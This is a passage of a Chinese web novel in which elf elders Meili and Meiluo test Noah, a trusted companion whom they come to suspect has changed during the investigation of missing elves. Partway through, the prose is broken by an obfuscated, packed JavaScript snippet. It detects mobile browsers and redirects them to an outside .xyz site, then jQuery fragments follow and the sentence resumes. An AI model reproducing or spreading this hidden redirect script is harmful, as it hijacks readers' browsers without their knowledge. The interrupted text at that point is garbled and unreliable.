通讯被接通后,一个不修边幅,顶着硕大黑眼圈,满脸疲倦撑着脸的精灵出现在她面前。 她一边打着哈欠一边喝咖啡提神,有点意外这个突如其来的通讯。 “哈啊,梅洛,你这个点不是还在母树那里吗,怎么突然打过来,打的还是全息视频。” “出了什么事,让你这么着急。” 梅洛望着这个浑身上下写满疲惫的精灵,没有因为她们相识已久就放弃自己的怀疑。 “精灵失踪的事你知道吧,这么多年查下来有查出什么原因吗?”梅洛的目光异常犀利,像是要穿透这幅皮囊,看进她的心里。 怎么这样看她? 梅里被这眼神看得心里发慌,心虚地思考了一下,自己这几百年一直兢兢业业,整个精灵族偌大的家业全交给她一个精灵处理。 最大的三位长老全都不在,老四又不靠谱,整个重担全压在她的身上,为了处理公务熬得她日夜不分、战战兢兢,生怕出了差错对不起前辈们的期待。 结果呢,梅洛出来以后就这态度?质疑她,还没点好脸色,她就活该处理这堆公务吗! 梅里越想越生气,原本刻在骨子里对梅洛的畏惧都忘了,挺起腰板,一拍桌子,激动地站起来,趁机把桌上那堆东西统统扫到地上。 “你这是什么态度,什么意思,我这么辛辛苦苦兢兢业业帮你们处理烂摊子,你们倒好,打个招呼就跑了,把东西都丢给我!现在结果又来怀疑起我来了,你对得起我嘛你这个混蛋!” 是的,梅里凭借多年被毒打的默契,梅洛那小眼神一递过来她就知道什么意思,是想教训她还是夸奖她,是满意还是轻蔑嘲讽,整个精灵族只有她最清楚梅洛那张冷脸背后到底有多难伺候! 咳咳,虽然老五敢对她甩脸子这点让梅洛感到些许不悦,但她也清楚自己这个甩手掌柜一当就是几百年的行为有多不负责,那点为数不多的良心隐隐作痛。 不过大魔王就是大魔王,不过是良心有点痛,痛一下就算了,梅洛根本不当一回事,顶多安抚两句,“好了,梅里,别闹了,我知道我们这些前辈的确是不负责任,不过,既然我回来了,精灵族也不用你一个精灵来抗,我和你一起分担。” 梅里见到大魔王难得的妥协,当即见好就收,因为梅洛真不是个有耐心的精灵,两句就是极限了,她要是再撒娇,估计梅洛就要开始翻脸不耐烦了。 更何况,她的目的已经达成了—— “好吧,那你记得看我发给你的资料,不要当做没看见,那是本周紧急处理的事务,我是不会处理的哦。” 梅里一边叮嘱一边蹲下身,十分苦命地把丢掉的文件一点点捡回去,整整齐齐地码成几摞。 说句实话,不管怎么说,看到梅洛还是很安心的。 肩膀都松快不少。 梅洛目光游移不定,因为她真的打算假装没看见,但现在看来装傻是不行了,糊弄不过去。 “行吧,我知道了。”梅洛不情不愿地回答,然后强行把话题拉到正轨,“老五,你还没回答我的问题呢。” 其实说到这,梅洛已经看出五长老和她闭关之前没有任何变化,神情自然,在她试探时也没露怯,再加上她们这么多年的交情,梅里的嫌疑已经降到了最低点。 老四从不管事,对精灵族根本插不了手。 这其中一个关键精灵看起来没有问题,那有问题的很大概率就是另一个了。 恰好在这时,梅里也正色道:“这事我交给老六去办了,怎么了吗?” “后来老六这么多年都没查出线索,母树又出事了,只能暂时放下调查的事,腾出手专心找能治愈母树的物品。” 梅里说到这也愁眉苦脸,毕竟精灵族这些年失踪了那么多精灵,她这个主事的最清楚不过,可她也没办法,她要是亲自去查,一来二去也要几年,这么多公务没法处理,偌大的精灵族可就要停摆了。 没办法只能把这事委托给老六,虽然这么多年没能查出成果,但梅里依旧没怀疑他,毕竟他们这群精灵可是曾经并肩作战的战友,互相信赖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351229|181363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的亲人,手牵手互相搀扶着一起从那段艰难的岁月中走过来的。 梅里实在不想怀疑自己的伙伴,但看梅洛这阴沉的表情,她再迟钝也知道问题估计出在老六身上了。 一片寂静中,梅里清楚地听见自己心跳的声音。 半晌,她艰难地从喉咙里挤出几个字,望着梅洛的眼神隐隐透着恳求,好像希望能得到一个否定。 “你是说,诺亚他……” 可是她失望了。 梅洛没有立刻肯定她的猜想,但也没有否定,而是说:“你现在就把诺亚叫过来,说有要事相商,我要亲眼看看他到底怎么回事。” 梅里像是遭遇了某种噩耗一般,肩膀塌了下来,仿佛有无形的重担压在她肩上,几欲将她压垮,那种疲惫感又回到她的身上,她捏了下鼻梁,看不清表情,只有一句轻轻的: “好,我知道了。” 不久,一无所知的诺亚被梅里很轻易地叫到了办公室。 诺亚有一头浓郁的绿发垂在背后,两侧编了细细的麻花辫,还有一双忧郁秀气的绿眼睛。他在前几位核心长老中年纪最小,但却难得沉稳可靠,从前一直被前辈们当成孩子照顾,就连只比他稍微大一点的梅里都把他当做需要保护,但也可以独当一面的后辈。 这些年梅洛不在,梅里也是和诺亚互相扶持才一路走过来,梅里只有在诺亚面前可以松懈片刻倒倒苦水,在其他精灵面前她一直都是无坚不摧的领导者,诺亚也只会在梅里身边抛下包袱,做一个偶尔可以闹脾气的普通精灵。 说句不好听的,这段时间梅里成长了许多,重担劈头盖脸地砸过来,她只能牵着诺亚一起,忍着头破血流也要撑起一片天。她不再是从前那个跟在梅洛屁股后面的小孩,对她来说,诺亚已经成为新的难以割舍的羁绊,连梅洛都得排在后面, 他们是可以互相倾诉烦恼,互相陪伴的亲密友人,以及并肩作战的伙伴。 再加上诺亚的年纪更小一些,梅里每次看到他都用一种看孩子的态度,总是不自觉操心。 可以说,如果梅洛没将自己的猜测告诉梅里,她根本不可能怀疑诺亚,也不愿怀疑。 “梅里,什么事这么着急,要我立即过来?” 之前她和梅洛商量过不能打草惊蛇,所以召唤诺亚的目的在于试探,而不是当场戳穿。 所以纵使此时梅里心如刀绞,也还是维持平时的样子,撑着下巴,打哈切。 “哈啊,还不是因为母树的事,你知道的,梅洛出关后一直在试图查出母树的病因,却没查出个头绪,她烦得要死,之前还一直催我派手下调查。” 诺亚低垂的眼中闪过一丝异色,“所以,你是要我调动巡查组去调查吗?” 梅里摊摊手,装作一副不在意的样子,“嗨,不是,这是梅洛她自己的工作,可别想丢给我们俩干,更何况,巡查组能干什么?要调查母树可不是他们擅长的事,又不是在星球上遍地跑。” “我找你来是想让你继续调查之前精灵失踪的事。” 诺亚抬起眼眸,疑惑道:“不是说,这项调查暂停吗?” “梅洛让的,她说总觉得这两件事有某种关联,下令彻查,可这事你之前下大功夫查过,最后发现蛛丝马迹都被对方抹除,很难查探。” “所以我想,虽然查不到,但她的命令我们也不能忽视,所以就打算让你亲自去查。” 听到这些关键词,诺亚没有露出任何异样,眼眸微颤,没有反驳上司兼好友这几乎是为难的命令。 “好的,我会即刻出发,到精灵的失踪地点寻访调查。” “不,不用。” 诺亚露出一个疑惑的表情。 “我的意思是你之前既然实地调查没有发现,那就从星网上调查,从即刻起,星网主脑的二级权限向你敞开,你可以利用‘西尔维娅’从失踪精灵的关系网、聊天记录以及搜索记录出发调查原因。” 诺亚冷静答是,之后见梅里又开始低头忙碌,他知道这是梅里像从前那样已经忙忘了,忘记他还在这。 他没有出声打扰,习以为常地放轻脚步,转身开门然后关门离开。 诺亚一离开,刚刚还忙得不知天昏地暗的某精灵就立刻抬起头,连忙向她身旁望去,急切地问道:“怎么样,诺亚他有问题吗?” 梅洛眉头紧蹙,“虽然表面上看起来很正常,但是……”她停顿了一下,似乎是在分辨,“但他在我的感知中很奇怪,介于生与死之间,灵魂的味道也很怪,有种……腐朽的木头的感觉。” 片刻后,梅洛作出结论:“诺亚可能已经不是我们之前认识的那个诺亚了。” 梅里听到这个消息,知道能让梅洛这么说,其实已经有八九分的把握了,也就是说,几乎已经给诺亚下了判决书。 她仰起头挤出一个似笑非笑,似哭非哭的笑容,“是吗?” “也许我应该感到庆幸,因为诺亚没有背叛精灵族。” 可是我的朋友,我又感到很难过,因为你也许早已不见……